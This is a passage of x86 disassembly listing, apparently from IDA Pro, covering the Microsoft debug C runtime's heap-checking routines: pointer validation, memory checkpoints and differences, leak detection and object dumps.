		add	esp, 4


loc_41A493:				; CODE XREF: .nsp0:0041A440j
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A4A0	proc near		; CODE XREF: sub_41A4F0+19p
					; .nsp0:0041A5EAp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		jz	short loc_41A4DD
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	dword_4F143C	; IsBadReadPtr
		test	eax, eax
		jnz	short loc_41A4DD
		cmp	[ebp+arg_8], 0
		jz	short loc_41A4D4
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_4F1438	; IsBadWritePtr
		test	eax, eax
		jnz	short loc_41A4DD


loc_41A4D4:				; CODE XREF: sub_41A4A0+20j
		mov	[ebp+var_4], 1
		jmp	short loc_41A4E4
; ---------------------------------------------------------------------------


loc_41A4DD:				; CODE XREF: sub_41A4A0+8j
					; sub_41A4A0+1Aj ...
		mov	[ebp+var_4], 0


loc_41A4E4:				; CODE XREF: sub_41A4A0+3Bj
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_41A4A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A4F0	proc near		; CODE XREF: sub_4193C0+1AAp
					; sub_4199B0+9Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		jnz	short loc_41A4FE
		xor	eax, eax
		jmp	short loc_41A572
; ---------------------------------------------------------------------------


loc_41A4FE:				; CODE XREF: sub_41A4F0+8j
		push	1
		push	20h
		mov	eax, [ebp+arg_0]
		sub	eax, 20h
		push	eax
		call	sub_41A4A0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41A519
		xor	eax, eax
		jmp	short loc_41A572
; ---------------------------------------------------------------------------


loc_41A519:				; CODE XREF: sub_41A4F0+23j
		mov	ecx, [ebp+arg_0]
		sub	ecx, 20h
		push	ecx
		call	sub_420240
		add	esp, 4
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_41A546
		mov	edx, [ebp+arg_0]
		sub	edx, 20h
		push	edx
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_4202A0
		add	esp, 8
		jmp	short loc_41A572
; ---------------------------------------------------------------------------


loc_41A546:				; CODE XREF: sub_41A4F0+3Fj
		mov	ecx, dword_4EF87C
		and	ecx, 8000h
		test	ecx, ecx
		jz	short loc_41A55D
		mov	eax, 1
		jmp	short loc_41A572
; ---------------------------------------------------------------------------


loc_41A55D:				; CODE XREF: sub_41A4F0+64j
		mov	edx, [ebp+arg_0]
		sub	edx, 20h
		push	edx
		push	0
		mov	eax, dword_4EFF80
		push	eax
		call	dword_4F1440	; HeapValidate


loc_41A572:				; CODE XREF: sub_41A4F0+Cj
					; sub_41A4F0+27j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_41A4F0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+8]
		push	eax
		call	sub_41A4F0
		add	esp, 4
		test	eax, eax
		jnz	short loc_41A59B
		xor	eax, eax
		jmp	loc_41A65F
; ---------------------------------------------------------------------------


loc_41A59B:				; CODE XREF: .nsp0:0041A592j
		push	9
		call	sub_41FB40
		add	esp, 4
		mov	ecx, [ebp+8]
		sub	ecx, 20h
		mov	[ebp-4], ecx
		mov	edx, [ebp-4]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		cmp	eax, 4
		jz	short loc_41A5E0
		mov	ecx, [ebp-4]
		cmp	dword ptr [ecx+14h], 1
		jz	short loc_41A5E0
		mov	edx, [ebp-4]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		cmp	eax, 2
		jz	short loc_41A5E0
		mov	ecx, [ebp-4]
		cmp	dword ptr [ecx+14h], 3
		jnz	short loc_41A653


loc_41A5E0:				; CODE XREF: .nsp0:0041A5BCj
					; .nsp0:0041A5C5j ...
		push	1
		mov	edx, [ebp+0Ch]
		push	edx
		mov	eax, [ebp+8]
		push	eax
		call	sub_41A4A0
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41A653
		mov	ecx, [ebp-4]
		mov	edx, [ecx+10h]
		cmp	edx, [ebp+0Ch]
		jnz	short loc_41A653
		mov	eax, [ebp-4]
		mov	ecx, [eax+18h]
		cmp	ecx, dword_4510C4
		jg	short loc_41A653
		cmp	dword ptr [ebp+10h], 0
		jz	short loc_41A620
		mov	edx, [ebp+10h]
		mov	eax, [ebp-4]
		mov	ecx, [eax+18h]
		mov	[edx], ecx


loc_41A620:				; CODE XREF: .nsp0:0041A613j
		cmp	dword ptr [ebp+14h], 0
		jz	short loc_41A631
		mov	edx, [ebp+14h]
		mov	eax, [ebp-4]
		mov	ecx, [eax+8]
		mov	[edx], ecx


loc_41A631:				; CODE XREF: .nsp0:0041A624j
		cmp	dword ptr [ebp+18h], 0
		jz	short loc_41A642
		mov	edx, [ebp+18h]
		mov	eax, [ebp-4]
		mov	ecx, [eax+0Ch]
		mov	[edx], ecx


loc_41A642:				; CODE XREF: .nsp0:0041A635j
		push	9
		call	sub_41FBE0
		add	esp, 4
		mov	eax, 1
		jmp	short loc_41A65F
; ---------------------------------------------------------------------------


loc_41A653:				; CODE XREF: .nsp0:0041A5DEj
					; .nsp0:0041A5F4j ...
		push	9
		call	sub_41FBE0
		add	esp, 4
		xor	eax, eax


loc_41A65F:				; CODE XREF: .nsp0:0041A596j
					; .nsp0:0041A651j
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4F0FB8
		mov	[ebp-4], eax
		mov	ecx, [ebp+8]
		mov	dword_4F0FB8, ecx
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A690	proc near		; CODE XREF: sub_41AD10+Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		cmp	[ebp+arg_0], 0
		jnz	short loc_41A6CA


loc_41A69F:				; CODE XREF: sub_41A690+33j
		push	offset a_crtmemcheckpo ; "_CrtMemCheckPoint: NULL state	pointer.\n"...
		push	offset aS_25	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	sub_41EED0
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41A6BF
		int	3		; Trap to Debugger


loc_41A6BF:				; CODE XREF: sub_41A690+2Cj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41A69F
		jmp	loc_41A7F3
; ---------------------------------------------------------------------------


loc_41A6CA:				; CODE XREF: sub_41A690+Dj
		push	9
		call	sub_41FB40
		add	esp, 4
		mov	ecx, [ebp+arg_0]
		mov	edx, dword_4EF86C
		mov	[ecx], edx
		mov	[ebp+var_4], 0
		jmp	short loc_41A6F1
; ---------------------------------------------------------------------------


loc_41A6E8:				; CODE XREF: sub_41A690+83j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_41A6F1:				; CODE XREF: sub_41A690+56j
		cmp	[ebp+var_4], 5
		jge	short loc_41A715
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+ecx*4+18h], 0
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+eax*4+4], 0
		jmp	short loc_41A6E8
; ---------------------------------------------------------------------------


loc_41A715:				; CODE XREF: sub_41A690+65j
		mov	edx, dword_4EF86C
		mov	[ebp+var_8], edx
		jmp	short loc_41A728
; ---------------------------------------------------------------------------


loc_41A720:				; CODE XREF: sub_41A690:loc_41A7CCj
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		mov	[ebp+var_8], ecx


loc_41A728:				; CODE XREF: sub_41A690+8Ej
		cmp	[ebp+var_8], 0
		jz	loc_41A7D1
		mov	edx, [ebp+var_8]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		test	eax, eax
		jl	short loc_41A7A7
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+14h]
		and	edx, 0FFFFh
		cmp	edx, 5
		jge	short loc_41A7A7
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+14h]
		and	ecx, 0FFFFh
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+ecx*4+4]
		add	eax, 1
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+14h]
		and	edx, 0FFFFh
		mov	ecx, [ebp+arg_0]
		mov	[ecx+edx*4+4], eax
		mov	edx, [ebp+var_8]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+eax*4+18h]
		mov	eax, [ebp+var_8]
		add	edx, [eax+10h]
		mov	ecx, [ebp+var_8]
		mov	eax, [ecx+14h]
		and	eax, 0FFFFh
		mov	ecx, [ebp+arg_0]
		mov	[ecx+eax*4+18h], edx
		jmp	short loc_41A7CC
; ---------------------------------------------------------------------------


loc_41A7A7:				; CODE XREF: sub_41A690+AFj
					; sub_41A690+C0j ...
		mov	edx, [ebp+var_8]
		push	edx
		push	offset aBadMemoryBlock ; "Bad memory block found at 0x%08X.\n"
		push	0
		push	0
		push	0
		push	0
		call	sub_41EED0
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41A7C6
		int	3		; Trap to Debugger


loc_41A7C6:				; CODE XREF: sub_41A690+133j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41A7A7


loc_41A7CC:				; CODE XREF: sub_41A690+115j
		jmp	loc_41A720
; ---------------------------------------------------------------------------


loc_41A7D1:				; CODE XREF: sub_41A690+9Cj
		mov	ecx, [ebp+arg_0]
		mov	edx, dword_4EF874
		mov	[ecx+2Ch], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, dword_4EF868
		mov	[eax+30h], ecx
		push	9
		call	sub_41FBE0
		add	esp, 4


loc_41A7F3:				; CODE XREF: sub_41A690+35j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41A690	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 0
		cmp	dword ptr [ebp+8], 0
		jz	short loc_41A822
		cmp	dword ptr [ebp+0Ch], 0
		jz	short loc_41A822
		cmp	dword ptr [ebp+10h], 0
		jnz	short loc_41A850


loc_41A822:				; CODE XREF: .nsp0:0041A814j
					; .nsp0:0041A81Aj ...
		push	offset a_crtmemdiffere ; "_CrtMemDifference: NULL state	pointer.\n"...
		push	offset aS_25	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	sub_41EED0
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41A842
		int	3		; Trap to Debugger


loc_41A842:				; CODE XREF: .nsp0:0041A83Fj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41A822
		mov	eax, [ebp-8]
		jmp	loc_41A91C
; ---------------------------------------------------------------------------


loc_41A850:				; CODE XREF: .nsp0:0041A820j
		mov	dword ptr [ebp-4], 0
		jmp	short loc_41A862
; ---------------------------------------------------------------------------


loc_41A859:				; CODE XREF: .nsp0:loc_41A8E7j
		mov	ecx, [ebp-4]
		add	ecx, 1
		mov	[ebp-4], ecx


loc_41A862:				; CODE XREF: .nsp0:0041A857j
		cmp	dword ptr [ebp-4], 5
		jge	loc_41A8EC
		mov	edx, [ebp-4]
		mov	eax, [ebp+10h]
		mov	ecx, [ebp-4]
		mov	esi, [ebp+0Ch]
		mov	edx, [eax+edx*4+18h]
		sub	edx, [esi+ecx*4+18h]
		mov	eax, [ebp-4]
		mov	ecx, [ebp+8]
		mov	[ecx+eax*4+18h], edx
		mov	edx, [ebp-4]
		mov	eax, [ebp+10h]
		mov	ecx, [ebp-4]
		mov	esi, [ebp+0Ch]
		mov	edx, [eax+edx*4+4]
		sub	edx, [esi+ecx*4+4]
		mov	eax, [ebp-4]
		mov	ecx, [ebp+8]
		mov	[ecx+eax*4+4], edx
		mov	edx, [ebp-4]
		mov	eax, [ebp+8]
		cmp	dword ptr [eax+edx*4+18h], 0
		jnz	short loc_41A8C2
		mov	ecx, [ebp-4]
		mov	edx, [ebp+8]
		cmp	dword ptr [edx+ecx*4+4], 0
		jz	short loc_41A8E7


loc_41A8C2:				; CODE XREF: .nsp0:0041A8B3j
		cmp	dword ptr [ebp-4], 0
		jz	short loc_41A8E7
		cmp	dword ptr [ebp-4], 2
		jnz	short loc_41A8E0
		cmp	dword ptr [ebp-4], 2
		jnz	short loc_41A8E7
		mov	eax, dword_4510C0
		and	eax, 10h
		test	eax, eax
		jz	short loc_41A8E7


loc_41A8E0:				; CODE XREF: .nsp0:0041A8CCj
		mov	dword ptr [ebp-8], 1


loc_41A8E7:				; CODE XREF: .nsp0:0041A8C0j
					; .nsp0:0041A8C6j ...
		jmp	loc_41A859
; ---------------------------------------------------------------------------


loc_41A8EC:				; CODE XREF: .nsp0:0041A866j
		mov	ecx, [ebp+10h]
		mov	edx, [ebp+0Ch]
		mov	eax, [ecx+2Ch]
		sub	eax, [edx+2Ch]
		mov	ecx, [ebp+8]
		mov	[ecx+2Ch], eax
		mov	edx, [ebp+10h]
		mov	eax, [ebp+0Ch]
		mov	ecx, [edx+30h]
		sub	ecx, [eax+30h]
		mov	edx, [ebp+8]
		mov	[edx+30h], ecx
		mov	eax, [ebp+8]
		mov	dword ptr [eax], 0
		mov	eax, [ebp-8]


loc_41A91C:				; CODE XREF: .nsp0:0041A84Bj
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A930	proc near		; CODE XREF: sub_41AD10+5Cp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_8], 0
		push	9
		call	sub_41FB40
		add	esp, 4


loc_41A94A:				; CODE XREF: sub_41A930+3Ej
		push	offset aDumpingObjects ; "Dumping objects ->\n"
		push	offset aS_25	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	sub_41EED0
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41A96A
		int	3		; Trap to Debugger


loc_41A96A:				; CODE XREF: sub_41A930+37j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41A94A
		cmp	[ebp+arg_0], 0
		jz	short loc_41A97E
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		mov	[ebp+var_8], edx


loc_41A97E:				; CODE XREF: sub_41A930+44j
		mov	eax, dword_4EF86C
		mov	[ebp+var_4], eax
		jmp	short loc_41A990
; ---------------------------------------------------------------------------


loc_41A988:				; CODE XREF: sub_41A930:loc_41ABADj
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		mov	[ebp+var_4], edx


loc_41A990:				; CODE XREF: sub_41A930+56j
		cmp	[ebp+var_4], 0
		jz	loc_41ABB2
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jz	loc_41ABB2
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+14h]
		and	edx, 0FFFFh
		cmp	edx, 3
		jz	short loc_41A9E4
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+14h]
		and	ecx, 0FFFFh
		test	ecx, ecx
		jz	short loc_41A9E4
		mov	edx, [ebp+var_4]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		cmp	eax, 2
		jnz	short loc_41A9E9
		mov	ecx, dword_4510C0
		and	ecx, 10h
		test	ecx, ecx
		jnz	short loc_41A9E9


loc_41A9E4:				; CODE XREF: sub_41A930+85j
					; sub_41A930+95j
		jmp	loc_41ABAD
; ---------------------------------------------------------------------------


loc_41A9E9:				; CODE XREF: sub_41A930+A5j
					; sub_41A930+B2j
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx+8], 0
		jz	short loc_41AA62
		push	0
		push	1
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+8]
		push	ecx
		call	sub_41A4A0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41AA33


loc_41AA09:				; CODE XREF: sub_41A930+FFj
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		push	eax
		push	offset aFileErrorD ; "#File Error#(%d) : "
		push	0
		push	0
		push	0
		push	0
		call	sub_41EED0
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41AA2B
		int	3		; Trap to Debugger


loc_41AA2B:				; CODE XREF: sub_41A930+F8j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41AA09
		jmp	short loc_41AA62
; ---------------------------------------------------------------------------


loc_41AA33:				; CODE XREF: sub_41A930+D7j
					; sub_41A930+130j
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		push	eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+8]
		push	edx
		push	offset aHsD	; "%hs(%d) : "
		push	0
		push	0
		push	0
		push	0
		call	sub_41EED0
		add	esp, 1Ch
		cmp	eax, 1
		jnz	short loc_41AA5C
		int	3		; Trap to Debugger


loc_41AA5C:				; CODE XREF: sub_41A930+129j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41AA33


loc_41AA62:				; CODE XREF: sub_41A930+C0j
					; sub_41A930+101j ...
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+18h]
		push	edx
		push	offset aLd	; "{%ld} "
		push	0
		push	0
		push	0
		push	0
		call	sub_41EED0
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41AA84
		int	3		; Trap to Debugger


loc_41AA84:				; CODE XREF: sub_41A930+151j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41AA62
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+14h]
		and	edx, 0FFFFh
		cmp	edx, 4
		jnz	short loc_41AB0C


loc_41AA9B:				; CODE XREF: sub_41A930+1A7j
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+10h]
		push	ecx
		mov	edx, [ebp+var_4]
		mov	eax, [edx+14h]
		sar	eax, 10h
		and	eax, 0FFFFh
		push	eax
		mov	ecx, [ebp+var_4]
		add	ecx, 20h
		push	ecx
		push	offset aClientBlockAt0 ; "client block at 0x%08X, subtype %x, %u "...
		push	0
		push	0
		push	0
		push	0
		call	sub_41EED0
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_41AAD3
		int	3		; Trap to Debugger


loc_41AAD3:				; CODE XREF: sub_41A930+1A0j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41AA9B
		cmp	dword_4F0FB8, 0
		jz	short loc_41AAFB
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+10h]
		push	ecx
		mov	edx, [ebp+var_4]
		add	edx, 20h
		push	edx
		call	dword_4F0FB8
		add	esp, 8
		jmp	short loc_41AB07
; ---------------------------------------------------------------------------


loc_41AAFB:				; CODE XREF: sub_41A930+1B0j
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_41ABF0
		add	esp, 4


loc_41AB07:				; CODE XREF: sub_41A930+1C9j
		jmp	loc_41ABAD
; ---------------------------------------------------------------------------


loc_41AB0C:				; CODE XREF: sub_41A930+169j
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+14h], 1
		jnz	short loc_41AB52


loc_41AB15:				; CODE XREF: sub_41A930+212j
		mov	edx, [ebp+var_4]
		mov	eax, [edx+10h]
		push	eax
		mov	ecx, [ebp+var_4]
		add	ecx, 20h
		push	ecx
		push	offset aNormalBlockAt0 ; "normal block at 0x%08X, %u bytes long.\n"...
		push	0
		push	0
		push	0
		push	0
		call	sub_41EED0
		add	esp, 1Ch
		cmp	eax, 1
		jnz	short loc_41AB3E
		int	3		; Trap to Debugger


loc_41AB3E:				; CODE XREF: sub_41A930+20Bj
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41AB15
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_41ABF0
		add	esp, 4
		jmp	short loc_41ABAD
; ---------------------------------------------------------------------------


loc_41AB52:				; CODE XREF: sub_41A930+1E3j
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+14h]
		and	edx, 0FFFFh
		cmp	edx, 2
		jnz	short loc_41ABAD


loc_41AB63:				; CODE XREF: sub_41A930+26Fj
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+10h]
		push	ecx
		mov	edx, [ebp+var_4]
		mov	eax, [edx+14h]
		sar	eax, 10h
		and	eax, 0FFFFh
		push	eax
		mov	ecx, [ebp+var_4]
		add	ecx, 20h
		push	ecx
		push	offset aCrtBlockAt0x08 ; "crt block at 0x%08X, subtype %x, %u byt"...
		push	0
		push	0
		push	0
		push	0
		call	sub_41EED0
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_41AB9B
		int	3		; Trap to Debugger


loc_41AB9B:				; CODE XREF: sub_41A930+268j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41AB63
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_41ABF0
		add	esp, 4


loc_41ABAD:				; CODE XREF: sub_41A930:loc_41A9E4j
					; sub_41A930:loc_41AB07j ...
		jmp	loc_41A988
; ---------------------------------------------------------------------------


loc_41ABB2:				; CODE XREF: sub_41A930+64j
					; sub_41A930+70j
		push	9
		call	sub_41FBE0
		add	esp, 4


loc_41ABBC:				; CODE XREF: sub_41A930+2B0j
		push	offset aObjectDumpComp ; "Object dump complete.\n"
		push	offset aS_25	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	sub_41EED0
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41ABDC
		int	3		; Trap to Debugger


loc_41ABDC:				; CODE XREF: sub_41A930+2A9j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41ABBC
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41A930	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ABF0	proc near		; CODE XREF: sub_41A930+1CFp
					; sub_41A930+218p ...

var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= byte ptr -48h
var_34		= byte ptr -34h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4C], 0
		jmp	short loc_41AC0B
; ---------------------------------------------------------------------------


loc_41AC02:				; CODE XREF: sub_41ABF0+D7j
		mov	eax, [ebp+var_4C]
		add	eax, 1
		mov	[ebp+var_4C], eax


loc_41AC0B:				; CODE XREF: sub_41ABF0+10j
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+10h], 10h
		jge	short loc_41AC1F
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+10h]
		mov	[ebp+var_54], eax
		jmp	short loc_41AC26
; ---------------------------------------------------------------------------


loc_41AC1F:				; CODE XREF: sub_41ABF0+22j
		mov	[ebp+var_54], 10h


loc_41AC26:				; CODE XREF: sub_41ABF0+2Dj
		mov	ecx, [ebp+var_4C]
		cmp	ecx, [ebp+var_54]
		jge	loc_41ACCC
		mov	edx, [ebp+arg_0]
		add	edx, [ebp+var_4C]
		mov	al, [edx+20h]
		mov	byte ptr [ebp+var_50], al
		cmp	dword_4516A8, 1
		jle	short loc_41AC63
		push	157h
		mov	ecx, [ebp+var_50]
		and	ecx, 0FFh
		push	ecx
		call	sub_421E50
		add	esp, 8
		mov	[ebp+var_58], eax
		jmp	short loc_41AC80
; ---------------------------------------------------------------------------


loc_41AC63:				; CODE XREF: sub_41ABF0+55j
		mov	edx, [ebp+var_50]
		and	edx, 0FFh
		mov	eax, off_45149C
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 157h
		mov	[ebp+var_58], ecx


loc_41AC80:				; CODE XREF: sub_41ABF0+71j
		cmp	[ebp+var_58], 0
		jz	short loc_41AC94
		mov	edx, [ebp+var_50]
		and	edx, 0FFh
		mov	[ebp+var_5C], edx
		jmp	short loc_41AC9B
; ---------------------------------------------------------------------------


loc_41AC94:				; CODE XREF: sub_41ABF0+94j
		mov	[ebp+var_5C], 20h


loc_41AC9B:				; CODE XREF: sub_41ABF0+A2j
		mov	eax, [ebp+var_4C]
		mov	cl, byte ptr [ebp+var_5C]
		mov	[ebp+eax+var_48], cl
		mov	edx, [ebp+var_50]
		and	edx, 0FFh
		push	edx
		push	offset a_2x	; "%.2X	"
		mov	eax, [ebp+var_4C]
		imul	eax, 3
		lea	ecx, [ebp+eax+var_34]
		push	ecx
		call	sub_41B740
		add	esp, 0Ch
		jmp	loc_41AC02
; ---------------------------------------------------------------------------


loc_41ACCC:				; CODE XREF: sub_41ABF0+3Cj
		mov	edx, [ebp+var_4C]
		mov	[ebp+edx+var_48], 0


loc_41ACD4:				; CODE XREF: sub_41ABF0+10Bj
		lea	eax, [ebp+var_34]
		push	eax
		lea	ecx, [ebp+var_48]
		push	ecx
		push	offset aDataSS	; " Data: <%s> %s\n"
		push	0
		push	0
		push	0
		push	0
		call	sub_41EED0
		add	esp, 1Ch
		cmp	eax, 1
		jnz	short loc_41ACF7
		int	3		; Trap to Debugger


loc_41ACF7:				; CODE XREF: sub_41ABF0+104j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41ACD4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41ABF0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AD10	proc near		; CODE XREF: sub_41B600+B9p

var_34		= byte ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_34]
		push	eax
		call	sub_41A690
		add	esp, 4
		cmp	[ebp+var_20], 0
		jnz	short loc_41AD44
		cmp	[ebp+var_2C], 0
		jnz	short loc_41AD44
		mov	ecx, dword_4510C0
		and	ecx, 10h
		test	ecx, ecx
		jz	short loc_41AD7B
		cmp	[ebp+var_28], 0
		jz	short loc_41AD7B


loc_41AD44:				; CODE XREF: sub_41AD10+19j
					; sub_41AD10+1Fj ...
		push	offset aDetectedMemory ; "Detected memory leaks!\n"
		push	offset aS_25	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	sub_41EED0
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41AD64
		int	3		; Trap to Debugger


loc_41AD64:				; CODE XREF: sub_41AD10+51j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41AD44
		push	0
		call	sub_41A930
		add	esp, 4
		mov	eax, 1
		jmp	short loc_41AD7D
; ---------------------------------------------------------------------------


loc_41AD7B:				; CODE XREF: sub_41AD10+2Cj
					; sub_41AD10+32j
		xor	eax, eax


loc_41AD7D:				; CODE XREF: sub_41AD10+69j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41AD10	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		cmp	dword ptr [ebp+8], 0
		jnz	short loc_41ADA2
		jmp	loc_41AE4E
; ---------------------------------------------------------------------------


loc_41ADA2:				; CODE XREF: .nsp0:0041AD9Bj
		mov	dword ptr [ebp-4], 0
		jmp	short loc_41ADB4
; ---------------------------------------------------------------------------


loc_41ADAB:				; CODE XREF: .nsp0:0041ADFCj
		mov	eax, [ebp-4]
		add	eax, 1
		mov	[ebp-4], eax


loc_41ADB4:				; CODE XREF: .nsp0:0041ADA9j
		cmp	dword ptr [ebp-4], 5
		jge	short loc_41ADFE


loc_41ADBA:				; CODE XREF: .nsp0:0041ADFAj
		mov	ecx, [ebp-4]
		mov	edx, off_4510D0[ecx*4]
		push	edx
		mov	eax, [ebp-4]
		mov	ecx, [ebp+8]
		mov	edx, [ecx+eax*4+4]
		push	edx
		mov	eax, [ebp-4]
		mov	ecx, [ebp+8]
		mov	edx, [ecx+eax*4+18h]
		push	edx
		push	offset aLdBytesInLdHsB ; "%ld bytes in %ld %hs Blocks.\n"
		push	0
		push	0
		push	0
		push	0
		call	sub_41EED0
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_41ADF6
		int	3		; Trap to Debugger


loc_41ADF6:				; CODE XREF: .nsp0:0041ADF3j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41ADBA
		jmp	short loc_41ADAB
; ---------------------------------------------------------------------------


loc_41ADFE:				; CODE XREF: .nsp0:0041ADB8j
					; .nsp0:0041AE24j
		mov	ecx, [ebp+8]
		mov	edx, [ecx+2Ch]
		push	edx
		push	offset aLargestNumberU ; "Largest number used: %ld bytes.\n"
		push	0
		push	0
		push	0
		push	0
		call	sub_41EED0
		add	esp, 18h
		cmp	eax, 1
